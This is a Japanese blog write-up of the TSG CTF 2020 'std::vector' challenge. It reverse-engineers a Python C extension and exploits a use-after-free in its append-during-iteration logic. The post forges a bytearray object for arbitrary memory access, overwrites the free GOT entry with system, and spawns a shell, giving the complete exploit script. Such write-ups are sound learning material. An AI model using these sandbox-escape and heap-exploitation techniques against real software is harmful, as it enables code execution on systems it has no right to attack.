h_nosonの日記

競プロ、CTFなど

Python + C拡張モジュールのExploit(TSG CTF 2020 std::vector)

Pythonの問題に触ったのは初めてだったので備忘録としてwriteupとは別に書こうと思います

問題

$ ls
libc.so.6  python3.7  run.py  sample.py  stdvec.cpython-37m-x86_64-linux-gnu.so  template.py
$ checksec python3.7
[*] '/home/vagrant/ctf/tsgctf/2020/std_vector/python3.7'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
$ cat template.py
import stdvec

from sys import modules
del modules['os']
keys = list(__builtins__.__dict__.keys())
for k in keys:
    # present for you
    if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']:
        del __builtins__.__dict__[k]

/** code **/
$ cat run.py
...
def is_bad_str(code):
    code = code.lower()
    # I don't like these words :)
    for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
        if s in code:
            return True
    return False
...

pythonのバイナリ、libc.so.6、拡張モジュールが与えられていて、run.pyやtemplate.pyにある制限で使えるのはstdvecとint, idなどの基本的なbuiltinモジュールだけになっている。また、python3.7のセキュリティ機構が一部無効になっている。

拡張モジュールを読む

モジュールを初期化する関数は"PyInit_モジュール名"でなければいけないのでstdvecはPyInit_stdvecで初期化されている

long * PyInit_stdvec(void)

{
  int iVar1;
  long *plVar2;
  
  iVar1 = PyType_Ready(StdVecType);
  if (-1 < iVar1) {
    plVar2 = (long *)PyModule_Create2(&stdvecmodule,0x3f5);
    if (plVar2 != (long *)0x0) {
      StdVecType._0_8_ = StdVecType._0_8_ + 1;
      iVar1 = PyModule_AddObject(plVar2,0x10130e,StdVecType);
      if (-1 < iVar1) {
        return plVar2;
      }
      StdVecType._0_8_ = StdVecType._0_8_ + -1;
      if (StdVecType._0_8_ == 0) {
        (**(code **)(StdVecType._8_8_ + 0x30))(StdVecType);
      }
      *plVar2 = *plVar2 + -1;
      if (*plVar2 == 0) {
        (**(code **)(plVar2[1] + 0x30))(plVar2);
      }
    }
  }
  return (long *)0;
}

stdvecmoduleからモジュールが作られ、そこにStdVecTypeが追加されている。

stdvecmoduleはメソッドもなく空で

f:id:h_noson:20200715194518p:plain

StdVecTypeは大きいので抜粋するとstdvec.StdVecという名前で__new__, __iter__と関数がいくつかStdVecMethodsに定義されている。

f:id:h_noson:20200715195743p:plain

StdVec.__new__: std::vectorの領域を確保してvにセットする。

StdVec * StdVec_new(_typeobject *param_1,_object *param_2,_object *param_3)

{
  StdVec *local_RAX_3;
  vector<_object*,std--allocator<_object*>> *pvVar1;
  
  local_RAX_3 = (StdVec *)(*param_1->tp_alloc)(param_1,0);
  pvVar1 = (vector<_object*,std--allocator<_object*>> *)operator.new(0x18);
  (pvVar1->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_start = (pointer)0x0;
  (pvVar1->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish = (pointer)0x0;
  (pvVar1->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_end_of_storage =
       (pointer)0x0;
  local_RAX_3->v = pvVar1;
  return local_RAX_3;
}

StdVec.__iter__: vectorの先頭と終点のアドレスを保持したStdVecIterTypeインスタンスを返す。

void iter(StdVec *param_1,_object *param_2)

{
  _object *p_Var1;
  _object *p_Var2;
  long lVar3;
  
  p_Var1 = (_object *)
           (param_1->v->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_start;
  p_Var2 = (_object *)
           (param_1->v->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish;
  lVar3 = _PyObject_New(&StdVecIterType);
  *(pointer)(lVar3 + 0x10) = p_Var1;
  *(pointer)(lVar3 + 0x18) = p_Var2;
  return;
}

StdVecIter.__next__: if (current != end) return *current++; else return NULL;

_object * iter_next(StdVecIter *param_1,_object *param_2)

{
  _object **pp_Var1;
  _object *p_Var2;
  
  pp_Var1 = (param_1->current)._M_current;
  if ((_object *)(param_1->end)._M_current != (_object *)pp_Var1) {
    p_Var2 = *pp_Var1;
    *(_object **)&(param_1->current)._M_current = (_object *)(pp_Var1 + 1);
    p_Var2->ob_refcnt = p_Var2->ob_refcnt + 1;
    return p_Var2;
  }
  return (_object *)0;
}

StdVec.append: 長いが要するにvector::push_back

void append(StdVec *param_1,_object *param_2)

{
  vector<_object*,std--allocator<_object*>> *this;
  _object *p_Var1;
  int iVar2;
  long in_FS_OFFSET;
  _object *local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = _PyArg_ParseTuple_SizeT(param_2,&s_O,&local_28);
  if (iVar2 != 0) {
    this = param_1->v;
    p_Var1 = (_object *)
             (this->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish;
    local_28->ob_refcnt = local_28->ob_refcnt + 1;
    if (p_Var1 == (_object *)
                  (this->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl.
                  _M_end_of_storage) {
      _M_realloc_insert<_object*const&>(this,(__normal_iterator)p_Var1,&local_28);
    }
    else {
      if (p_Var1 != (_object *)0x0) {
        *(_object **)&p_Var1->ob_refcnt = local_28;
      }
      *(_typeobject **)
       &(this->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish =
           (_typeobject *)&p_Var1->ob_type;
    }
  }
  _Py_NoneStruct = _Py_NoneStruct + 1;
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

その他StdVec.size, StdVec.set, StdVec.getもあるが今回は関係ないので省略(負のインデックスも受け入れるような実装だったけどPythonを意識してってことなのかな。怪しいところは見つからなかった)

脆弱性

StdVec.appendで領域が足りなかったときにreallocで増やしているが、元の領域はfreeされるためStdVecIterが持っているアドレスにfree後の領域を指させることができる。よって以下のようにfor x in lの中でl.appendを呼ぶとエラーを起こせる。

import stdvec

l = stdvec.StdVec()
for i in range(0x100):
    l.append(0)

for x in l:
    l.append(1)

l.append(1)で元の領域をfreeさせた後になんらかの方法でmallocを呼びその領域を確保し、StdVecIter.__next__が偽のPython Objectを返すようにすれば最終的に任意のアドレスの読み書きができるようになる。

Pythonから生のheapを使う

Pythonにはheapとは別にPythonが直接管理するprivate heapを使っており、基本的に生のheapよりもprivate heapが使われる。例外として512 bytesよりも大きな領域を確保しようとした時(Memory Management — Python 3.8.4 documentation)とprintなどでバッファを使う時にmallocfreeが使われる(他にもあるかもしれないけど多分これだけ知っていれば十分)。よってvectorのサイズが512 bytesより大きいかつ2の冪乗(次のappendreallocを呼ばせるため)になるようにappendを繰り返した後に、for内でappendし開放された領域にObjectを作ることで上のコードでいうところのxに偽のPython Objectを掴ませることができる。

偽のPython Objectを作る

まず全てのObjectの親クラス(?)であるPyObjectの型は、

typedef struct _object {
    _PyObject_HEAD_EXTRA           // heap用のlinked listを持つらしい
    Py_ssize_t ob_refcnt;          // free可能かどうかを参照されている回数で判断する
    struct _typeobject *ob_type;   // instanceを操作する関数などがここに定義される
} PyObject;

となっており、それぞれの型に応じて追加のフィールドを持つ。例えばPyLongObject

struct _longobject {
    PyObject ob_base;
    Py_ssize_t ob_size;
    digit ob_digit[1];
};

と、実際の値を持つob_digitとその配列の大きさを表すob_sizeが追加されている。今回使うPyByteArrayObject

typedef struct {
    PyObject ob_base;
    Py_ssize_t ob_size;    // 実際に使われているサイズ
    Py_ssize_t ob_alloc;   // ob_bytesに確保されている領域のサイズ
    char *ob_bytes;        // 確保されている領域の先頭
    char *ob_start;        // ob_bytesの中で実際に使われている部分の先頭
    Py_ssize_t ob_exports; // 他のObjectからこの領域が使われている回数
} PyByteArrayObject;

と、Object内にデータを持つ代わりに別途確保された領域のアドレスを持つ。これらの値を自由に弄ることができればob_start0ob_sizeを最大にして任意アドレスへの読み書きが可能になる。

実際には以下のように偽のObjectを作って

fake_obj = b''
fake_obj += p64(1)              # ob_refcnt
fake_obj += p64(id(bytearray))  # ob_type
fake_obj += p64(0x1000000)      # ob_size
fake_obj += p64(0)              # ob_alloc
fake_obj += p64(0)              # ob_bytes
fake_obj += p64(0)              # ob_start

id(fake_obj) + 0x200x20はPyBytesObjectのob_baseなどの部分をとばすため)をStdVecIter.__next__が取り出すように操作すればx[libc_base + free_got] = 0x11のようにメモリを自由に使うことができるようになる。

Exploit

ここまでで任意アドレスへの読み書きが可能になったので、freeなどのGOTからlibcのアドレスを求めてfreesystemに書き換えてからprint('/bin/sh')printはbuffer用の領域を確保して開放する)でシェルを起動する。

import stdvec

from sys import modules
del modules['os']
keys = list(__builtins__.__dict__.keys())
for k in keys:
    # present for you
    if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']:
        del __builtins__.__dict__[k]

def p64(x):
    return x.to_bytes(8, 'little')

fake_obj = b''
fake_obj += p64(1)              # ob_refcnt
fake_obj += p64(id(bytearray))  # ob_type
fake_obj += p64(0x1000000)      # ob_size
fake_obj += p64(0)              # ob_alloc
fake_obj += p64(0)              # ob_bytes
fake_obj += p64(0)              # ob_start

l = stdvec.StdVec()
for i in range(0x100):
    l.append(0)

i = 0
for x in l:
    if i == 0:
        l.append(0)
        # bytearrayだとこの文字列用の領域を確保するがbytesはObjectのメタデータも含めて確保するのでbytearrayの方が使い勝手がいい
        # また、bytearrayが作られる前にbytesが作られるのでl.append(0)で開放した領域をbytesのObjectに使わせないために大きさは開放されている領域のサイズぎりぎりにする必要がある
        _ = bytearray(b'A' * 8 + p64(id(fake_obj) + 0x20) + b'A' * 0x7f0)
    elif i == 1:
        break
    i += 1

def leak(arr, offset):
    val = 0
    for i in range(8):
        val += arr[offset + i] << i * 8
    return val

def overwrite(arr, offset, value):
    bs = p64(value)
    for i in range(8):
        arr[offset + i] = bs[i]

free_got = 0xa00520
free_offset = 0x979c0
system_offset = 0x4f4e0

libc_base = leak(x, free_got) - free_offset
overwrite(x, free_got, libc_base + system_offset)

print('/bin/sh')

参考

https://gist.github.com/moratorium08/a1daa601b0785981c97b08f777a3da59 https://gist.github.com/Charo-IT/19215b12d2240a6a19c355153bffa66b